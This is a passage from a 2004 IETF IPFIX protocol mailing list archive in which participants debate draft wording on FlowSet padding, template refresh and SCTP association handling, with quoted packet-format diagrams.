>>>> However, I could understand the need for some text
>>>> clarification. I see three solutions
>>>>
>>>> Solution 1
>>>>
>>>> We don't write down anything for padding & Template
>>>> FlowSet. Basically what I proposed initially. However, I can
>>>> understand the discrepancy between the Template FlowSet and the
>>>> other FlowSets.
>>>>
>>>> Solution 2
>>>>
>>>>  8.3   Template FlowSet Format
>>>>
>>>>        0                   1                   2
>>>> 3         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
>>>> 8 9 0 1
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |       FlowSet ID = 0          |          Length               |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |       Template ID 1           |         Field Count           |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |        Field Type 1           |         Field Length 1        |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |        Field Type 2           |         Field Length 2        |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |             ...               |              ...              |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>       |        Field Type N           |         Field Length N
>>>> |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>       |       Template ID 2           |         Field Count
>>>> |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>       |        Field Type 1           |         Field Length 1
>>>> |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>       |        Field Type 2           |         Field Length 2
>>>> |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |             ...               |              ...              |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |        Field Type M           |         Field Length M        |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |             ...               |              ...              |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |        Template ID K          |         Field Count           |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> |             ...               |              ...              |
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>       |                           Padding                             |
>>>>
>>>> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>> Padding
>>>>           The Exporting Process MAY insert some padding bytes,
>>>>            so that the subsequent FlowSet starts at an aligned boundary.
>>>>            Padding MUST be composed of zero (0) bits.
>>>>            The padding length MUST be shorter
>>>>            than a Template definition with a Field Count value of one.
>>>>            It is important to note that the Length field includes
>>>> the padding bits.
>>>>
>>>> Solution 3
>>>>
>>>> Adding a 4 bytes padding field in the packet format could be
>>>> considered as confusing (see solution 2), as currently, the
>>>> alignement is always 4 bytes.
>>>> So we could add some generic text about padding in the "template
>>>> flowset section", without adding the Padding field in the packet
>>>> format.
>>>>
>>>> What's your feedback?
>>>
>>>
>>>
>>> I find solution 1 confusing because if there is a strong intention
>>> to allow arbitrary padding for templates (other than 4-byte
>>> aligments) than is should be possible for all templates. So IMO
>>> solution 2+3: having
>>> the field and a statement clarifying that it is already 4-byte
>>> aligned. Maybe the field name could be changed from Padding to
>>> Optional Padding to make clear that it is optional (for all
>>> templates)? The size is not 4 bytes but variable which should be
>>> indicated to avoid confusion (same for the other templates).
>> Can you please propose the text and packet format you would like to
>> see.
>  >
>> Regards, Benoit.
>>
>>>
>>> Cheers,
>>>
>>> Sebastian
>>>
>>>> Regards, Benoit.
>>>>
>>>>> Hi Benoit,
>>>>>
>>>>> shouldn't it always read "... starts at a _4-byte_ aligned boundary"?
>>>>>
>>>>> Cheers,
>>>>>
>>>>> Sebastian
>>>>>
>>>>> Benoit Claise wrote:
>>>>>
>>>>>> Dear all,
>>>>>>
>>>>>>  >From the IPFIX protocol specification:
>>>>>>
>>>>>>     14. PROTO-14: Why do we need padding? Should we shift it to MAY?
>>>>>>            limit the size of the padding? Yes
>>>>>>            solution:
>>>>>>            - padding shorter than actual Record Length
>>>>>>            - fill with 0
>>>>>>            - only at end of flowset
>>>>>>            - applies to all flowsets
>>>>>>            - padding is OPTIONAL (MAY) , not RECOMMENDED (SHOULD)
>>>>>>
>>>>>>
>>>>>>  >From the Seoul meeting minutes:
>>>>>>
>>>>>>     - Padding: currently a should for the exporting process, and
>>>>>> a must for
>>>>>>      the collector.  Proposal to have a MAY for the exporting process
>>>>>>
>>>>>> In the current IPFIX protocol draft version 3, the same
>>>>>> definition is applied to the following section:
>>>>>>     8.4   Data FlowSet Format
>>>>>>     8.5.1   Options Template FlowSet Format     8.5.2   Options
>>>>>> Data Record Format
>>>>>>
>>>>>>    Padding
>>>>>>            The Exporting Process SHOULD insert some padding bytes so
>>>>>>            that the subsequent FlowSet starts at a 4-byte aligned
>>>>>>            boundary. It is important to note that the Length field
>>>>>>            includes the padding bits.
>>>>>>
>>>>>> The proposal is to change it to:
>>>>>>
>>>>>>     8.4   Data FlowSet Format
>>>>>>    Padding
>>>>>>            The Exporting Process MAY insert some padding bytes,
>>>>>>            so that the subsequent FlowSet starts at an aligned
>>>>>> boundary.
>>>>>>            Padding MUST be composed of zero (0) bits.
>>>>>>            The padding length MUST be shorter than one Flow Data
>>>>>> Record.
>>>>>>           It is important to note that the Length field includes
>>>>>> the padding bits.
>>>>>>
>>>>>>     8.5.1   Options Template FlowSet Format    Padding
>>>>>>           The Exporting Process MAY insert some padding bytes,
>>>>>>            so that the subsequent FlowSet starts at an aligned
>>>>>> boundary.
>>>>>>            Padding MUST be composed of zero (0) bits.
>>>>>>            The padding length MUST be shorter
>>>>>>            than one Options Template Record. It is important to
>>>>>> note that the
>>>>>>           Length field includes the padding bits.
>>>>>>
>>>>>>     8.5.2   Options Data Record Format
>>>>>>    Padding
>>>>>>           The Exporting Process MAY insert some padding bytes,
>>>>>>            so that the subsequent FlowSet starts at an aligned
>>>>>> boundary.
>>>>>>            Padding MUST be composed of zero (0) bits.
>>>>>>            The padding length MUST be shorter
>>>>>>            than one Options Data Record. It is important to note
>>>>>> that the
>>>>>>           Length field includes the padding bits.
>>>>>>
>>>>>>  I think we are OK with Template FlowSet, as it will always have
>>>>>> "4-byte aligned" boundaries.
>>>>>>
>>>>>> Feedback?
>>>>>>
>>>>>> Regards, Benoit.
>>>>>>
>>>>>
>>>>
>>>
>>
>
> -- 
> Sebastian Zander
> http://caia.swin.edu.au
>
>
> --
> Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
> Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
> "unsubscribe ipfix" in message body
> Archive     http://ipfix.doit.wisc.edu/archive/

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Aug  5 04:22:28 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA03096
	for <ipfix-archive@lists.ietf.org>; Thu, 5 Aug 2004 04:22:28 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BsdGP-0001Jv-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 05 Aug 2004 03:06:13 -0500
Received: from rommie.caida.org ([192.172.226.78] helo=caida.org)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BsdGM-0001JN-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 05 Aug 2004 03:06:10 -0500
Received: by caida.org (Postfix, from userid 2017)
	id 025114527C; Thu,  5 Aug 2004 01:06:09 -0700 (PDT)
To: Stewart Bryant <stbryant@cisco.com>
Cc: Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Template refresh
Content-Type: text/plain; charset=US-ASCII
From: David Moore <dmoore@caida.org>
Date: Thu, 05 Aug 2004 01:06:09 -0700
In-Reply-To: <40F53487.7020303@cisco.com> (Stewart Bryant's message of "Wed,
 14 Jul 2004 14:26:31 +0100")
Message-ID: <yfyisby1026.fsf@rommie.caida.org>
User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion,
 berkeley-unix)
References: <40F53487.7020303@cisco.com>
MIME-Version: 1.0
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

Stewart Bryant <stbryant@cisco.com> writes:

>> From draft-ietf-ipfix-protocol-3.txt
> Section 13. Template Management The following text is specific to the
> sending of Templates
> over unreliable transport protocols:
>
> The Exporting Process sends the Template FlowSet and Options Template
> FlowSet under the following conditions: <snip>
>    3. On a regular basis, the Exporting Process MUST send all the
>    Template Records and Options Template Records to refresh the
>    Collecting Process. Template IDs have a limited lifetime at the
>    Collecting Process and MUST be periodically refreshed.      Two
>    approaches are taken to make sure that Templates get      refreshed
>    at the Collecting Process:         * Every N number of IPFIX
>    Messages.         * On a time basis, so every N number of minutes.
>    Both options MUST be configurable by the user on the Exporting
>    Porcess.      When one of these expiry conditions is met, the
>    Exporting      Process MUST send the Template FlowSet and Options
>    Template.  <end extract>
>
> Should be replaced by:
>
> If the Template Records and Options Template Records are sent using
> a transport protocol that is not fully reliable they MUST be refreshed
> on a regular basis by the Exporting Process which MUST re-send all the
> Template Records and Options Template Records to the Collecting
> Process.

Hi Stewart,

Two things with this change:

1. The text in section 13 of proto-4 (Collecting Process's Side) would
need to be updated as well, since it currently says:

"The life of a template at the Collecting Process is limited to a fixed
refresh timeout. Templates not refreshed from the Exporting Process
within the timeout are expired at the Collecting Process."


2. If the exporting process is not required to refresh templates, then the
collector can never expire a template.  I don't recall seeing anything
in the proto-3 draft (nor quick search in proto-4) where the exporter
can explicitly tell the collector to delete or forget about a template.
If there is no ability to delete no-longer used templates, the collector
may have to allocate resources to large numbers of defunct templates
over time.

-- david

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Aug  5 04:44:15 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04423
	for <ipfix-archive@lists.ietf.org>; Thu, 5 Aug 2004 04:44:15 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BsdWi-0004DV-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 05 Aug 2004 03:23:04 -0500
Received: from rommie.caida.org ([192.172.226.78] helo=caida.org)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BsdWg-0004Bj-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 05 Aug 2004 03:23:02 -0500
Received: by caida.org (Postfix, from userid 2017)
	id BFB204521E; Thu,  5 Aug 2004 01:22:59 -0700 (PDT)
To: Stewart Bryant <stbryant@cisco.com>
Cc: Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-5, 6, 7, 8, 9, 10, 11: SCTP and SCTP-PR
X-Face: "oX;zS#-JU$-,WKSzG.1gGE]x^cIg!hW.dq>.f6pzS^A+(k!T|M:}5{_%>Io<>L&{hO7W4cicOQ|>/lZ1G(m%7iaCf,6Qgk0%%Bz7b2-W3jd0m_UG\Y;?]}4s0O-U)uox>P3JN)9cm]O\@,vy2e{`3pb!"pqmRy3peB90*2L
Content-Type: text/plain; charset=US-ASCII
From: David Moore <dmoore@caida.org>
Date: Thu, 05 Aug 2004 01:22:59 -0700
In-Reply-To: <40F51B41.9000906@cisco.com> (Stewart Bryant's message of "Wed,
 14 Jul 2004 12:38:41 +0100")
Message-ID: <yfyfz720za4.fsf@rommie.caida.org>
User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Reasonable Discussion,
 berkeley-unix)
References: <40EEA1F6.5060005@cisco.com> <40F51B41.9000906@cisco.com>
MIME-Version: 1.0
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

Stewart Bryant <stbryant@cisco.com> writes:

> The last para should be changed to:
>
> If the Collecting Process receives an IPFIX Message that it cannot
> decode, it MUST reset the SCTP association, discard the message
> and log the error.
>
> and then we should add the following paragraph:
>
> When an SCTP association is closed, the Collecting Process MUST
> discard all templates
> received over that association and stop decoding IPFIX Messages that
> use those templates.

Hi Stewart,

I think this needs better definition of what an 'SCTP association' is.
Is it a single SCTP connection, or is it all SCTP connections between
that particular exporter and this collector?  I might be mistaken, since
I haven't read this part of the proto drafts more than once, but I
thought it was permissible for an exporter to make multiple SCTP (or
even mixed SCTP/TCP/UDP/whatever) connections to a single collector, in
order to do things including `ship templates across one stream and data
records across another'.  Imagine 4 streams, one each for data
templates, option templates, flow records and option records.  If there
is an error with a data template, does it close just that one SCTP
connection or all 4?  If it closes the data template stream, SHOULD the
collector buffer flow records until it sees the template?  To me "stop
decoding IPFIX messages that use those templates" means 'discard' not
'buffer and wait for the template to be retransmitted'.

Also, this may raise an important issue for collector writers (which maybe
should be spelled out explicitly), that not only do you have to know
what Exporter IP address and Source ID a template came from, but you may
have to know which particularly SCTP/etc stream it came from.

What happens if an exporter sends the same template (ie a refresh) on
two different streams?  Should only the most recent stream be used for
purposes of discarding templates?  ie, the collector forgets that it
also got it on a different stream previously?  Or should the collector
remember all of the streams on which it has received this template and
only discard the template if all of those streams have failed?

-- david

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Thu Aug  5 19:46:44 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27060
	for <ipfix-archive@lists.ietf.org>; Thu, 5 Aug 2004 19:46:44 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bsrco-0005WQ-00
	for ipfix-list@mil.doit.wisc.edu; Thu, 05 Aug 2004 18:26:18 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bsrcm-0005Up-00
	for ipfix-protocol@net.doit.wisc.edu; Thu, 05 Aug 2004 18:26:16 -0500
Received: from [130.129.133.157] (sjc-vpn5-41.cisco.com [10.21.88.41])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i75NPag13142;
	Fri, 6 Aug 2004 01:25:36 +0200 (CEST)
Message-ID: <4112C247.1010104@cisco.com>
Date: Fri, 06 Aug 2004 01:27:03 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: David Moore <dmoore@caida.org>
CC: Sebastian Zander <szander@swin.edu.au>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-14: padding.
References: <40D1F9CB.3060702@cisco.com> <40D8CB95.1010905@swin.edu.au>	<40ED1005.3000201@cisco.com> <40EDF8A1.3070900@swin.edu.au>	<40EE4671.2030804@cisco.com> <40F1D9B4.6070805@swin.edu.au> <yfyllgu10gj.fsf@rommie.caida.org>
In-Reply-To: <yfyllgu10gj.fsf@rommie.caida.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

David,

That makes sense to me.

Regards, Benoit.

>Hi Sebastion, Benoit,
>
>I like the newer language (included in proto-4), since it fixes a bug
>where the collector is unable to differentiate between padding and
>legitimate flow records when the flow record size is small.
>
>I'm wondering if it makes sense to change 'shorter than one Flow Data
>Record' to something more like 'shorter than one Flow Data Record of the
>corresponding Template ID' or 'shorter than any legitimate Flow Data
>Record permissible in this FlowSet' or 'shorter than any allowable
>Record in this FlowSet'.
>
>-- david
>
>Sebastian Zander <szander@swin.edu.au> writes:
>
>  
>
>>Hi Benoit,
>>
>>here is my proposal for the header format (change formats for other
>>templates as well) and the Template Flowset Padding paragraph.
>>
>>        0                   1                   2                   3
>>        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |       FlowSet ID = 0          |          Length               |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |       Template ID 1           |         Field Count           |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type 1           |         Field Length 1        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type 2           |         Field Length 2        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |             ...               |              ...              |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type N           |         Field Length N        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |       Template ID 2           |         Field Count           |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type 1           |         Field Length 1        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type 2           |         Field Length 2        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |             ...               |              ...              |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Field Type M           |         Field Length M        |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |             ...               |              ...              |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |        Template ID K          |         Field Count           |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |             ...               |              ...              |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>       |                            Padding (opt)                      |
>>       |                              ...			      |
>>       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>
>>Padding
>><your text>
>>Because Template Flowsets are always 4-byte aligned by definition
>>padding is only needed in case of other alignments e.g. on 8-byte
>>boundaries.
>>
>>Cheers,
>>
>>Sebastian
>>
>>Benoit Claise wrote:
>>
>>    
>>
>>>Hi Sebastian,
>>>
>>>      
>>>
>>>>Hi Benoit,
>>>>
>>>>answer below
>>>>
>>>>Benoit Claise wrote:
>>>>
>>>>        
>>>>
>>>>>Hi Sebastian,
>>>>>
>>>>>Actually this sentence is not part of the proposed text. It was
>>>>>just a comment.
>>>>>I wanted to express the fact:
>>>>>   - Template FlowSet always have "4-byte aligned" boundaries."
>>>>>   - Template FlowSet are only sent once with SCTP, TCP
>>>>>So I think we don't care too much about the alignment for the
>>>>>Template FlowSeet
>>>>>
>>>>>However, I could understand the need for some text
>>>>>clarification. I see three solutions
>>>>>
>>>>>Solution 1
>>>>>
>>>>>We don't write down anything for padding & Template
>>>>>FlowSet. Basically what I proposed initially. However, I can
>>>>>understand the discrepancy between the Template FlowSet and the
>>>>>other FlowSets.
>>>>>
>>>>>Solution 2
>>>>>
>>>>> 8.3   Template FlowSet Format
>>>>>
>>>>>       0                   1                   2
>>>>>3         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7
>>>>>8 9 0 1
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|       FlowSet ID = 0          |          Length               |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|       Template ID 1           |         Field Count           |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|        Field Type 1           |         Field Length 1        |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|        Field Type 2           |         Field Length 2        |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|             ...               |              ...              |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>      |        Field Type N           |         Field Length N
>>>>>|
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>      |       Template ID 2           |         Field Count
>>>>>|
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>      |        Field Type 1           |         Field Length 1
>>>>>|
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>      |        Field Type 2           |         Field Length 2
>>>>>|
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|             ...               |              ...              |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|        Field Type M           |         Field Length M        |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|             ...               |              ...              |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|        Template ID K          |         Field Count           |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>|             ...               |              ...              |
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>      |                           Padding                             |
>>>>>
>>>>>+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
>>>>>Padding
>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>           so that the subsequent FlowSet starts at an aligned boundary.
>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>           The padding length MUST be shorter
>>>>>           than a Template definition with a Field Count value of one.
>>>>>           It is important to note that the Length field includes
>>>>>the padding bits.
>>>>>
>>>>>Solution 3
>>>>>
>>>>>Adding a 4 bytes padding field in the packet format could be
>>>>>considered as confusing (see solution 2), as currently, the
>>>>>alignement is always 4 bytes.
>>>>>So we could add some generic text about padding in the "template
>>>>>flowset section", without adding the Padding field in the packet
>>>>>format.
>>>>>
>>>>>What's your feedback?
>>>>>          
>>>>>
>>>>
>>>>I find solution 1 confusing because if there is a strong intention
>>>>to allow arbitrary padding for templates (other than 4-byte
>>>>aligments) than is should be possible for all templates. So IMO
>>>>solution 2+3: having
>>>>the field and a statement clarifying that it is already 4-byte
>>>>aligned. Maybe the field name could be changed from Padding to
>>>>Optional Padding to make clear that it is optional (for all
>>>>templates)? The size is not 4 bytes but variable which should be
>>>>indicated to avoid confusion (same for the other templates).
>>>>        
>>>>
>>>Can you please propose the text and packet format you would like to
>>>see.
>>>      
>>>
>> >
>>    
>>
>>>Regards, Benoit.
>>>
>>>      
>>>
>>>>Cheers,
>>>>
>>>>Sebastian
>>>>
>>>>        
>>>>
>>>>>Regards, Benoit.
>>>>>
>>>>>          
>>>>>
>>>>>>Hi Benoit,
>>>>>>
>>>>>>shouldn't it always read "... starts at a _4-byte_ aligned boundary"?
>>>>>>
>>>>>>Cheers,
>>>>>>
>>>>>>Sebastian
>>>>>>
>>>>>>Benoit Claise wrote:
>>>>>>
>>>>>>            
>>>>>>
>>>>>>>Dear all,
>>>>>>>
>>>>>>> >From the IPFIX protocol specification:
>>>>>>>
>>>>>>>    14. PROTO-14: Why do we need padding? Should we shift it to MAY?
>>>>>>>           limit the size of the padding? Yes
>>>>>>>           solution:
>>>>>>>           - padding shorter than actual Record Length
>>>>>>>           - fill with 0
>>>>>>>           - only at end of flowset
>>>>>>>           - applies to all flowsets
>>>>>>>           - padding is OPTIONAL (MAY) , not RECOMMENDED (SHOULD)
>>>>>>>
>>>>>>>
>>>>>>> >From the Seoul meeting minutes:
>>>>>>>
>>>>>>>    - Padding: currently a should for the exporting process, and
>>>>>>>a must for
>>>>>>>     the collector.  Proposal to have a MAY for the exporting process
>>>>>>>
>>>>>>>In the current IPFIX protocol draft version 3, the same
>>>>>>>definition is applied to the following section:
>>>>>>>    8.4   Data FlowSet Format
>>>>>>>    8.5.1   Options Template FlowSet Format     8.5.2   Options
>>>>>>>Data Record Format
>>>>>>>
>>>>>>>   Padding
>>>>>>>           The Exporting Process SHOULD insert some padding bytes so
>>>>>>>           that the subsequent FlowSet starts at a 4-byte aligned
>>>>>>>           boundary. It is important to note that the Length field
>>>>>>>           includes the padding bits.
>>>>>>>
>>>>>>>The proposal is to change it to:
>>>>>>>
>>>>>>>    8.4   Data FlowSet Format
>>>>>>>   Padding
>>>>>>>           The Exporting Process MAY insert some padding bytes,
>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>boundary.
>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>           The padding length MUST be shorter than one Flow Data
>>>>>>>Record.
>>>>>>>          It is important to note that the Length field includes
>>>>>>>the padding bits.
>>>>>>>
>>>>>>>    8.5.1   Options Template FlowSet Format    Padding
>>>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>boundary.
>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>           The padding length MUST be shorter
>>>>>>>           than one Options Template Record. It is important to
>>>>>>>note that the
>>>>>>>          Length field includes the padding bits.
>>>>>>>
>>>>>>>    8.5.2   Options Data Record Format
>>>>>>>   Padding
>>>>>>>          The Exporting Process MAY insert some padding bytes,
>>>>>>>           so that the subsequent FlowSet starts at an aligned
>>>>>>>boundary.
>>>>>>>           Padding MUST be composed of zero (0) bits.
>>>>>>>           The padding length MUST be shorter
>>>>>>>           than one Options Data Record. It is important to note
>>>>>>>that the
>>>>>>>          Length field includes the padding bits.
>>>>>>>
>>>>>>> I think we are OK with Template FlowSet, as it will always have
>>>>>>>"4-byte aligned" boundaries.
>>>>>>>
>>>>>>>Feedback?
>>>>>>>
>>>>>>>Regards, Benoit.
>>>>>>>
>>>>>>>              
>>>>>>>
>>-- 
>>Sebastian Zander
>>http://caia.swin.edu.au
>>
>>
>>--
>>Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
>>Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
>>"unsubscribe ipfix" in message body
>>Archive     http://ipfix.doit.wisc.edu/archive/
>>    
>>


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
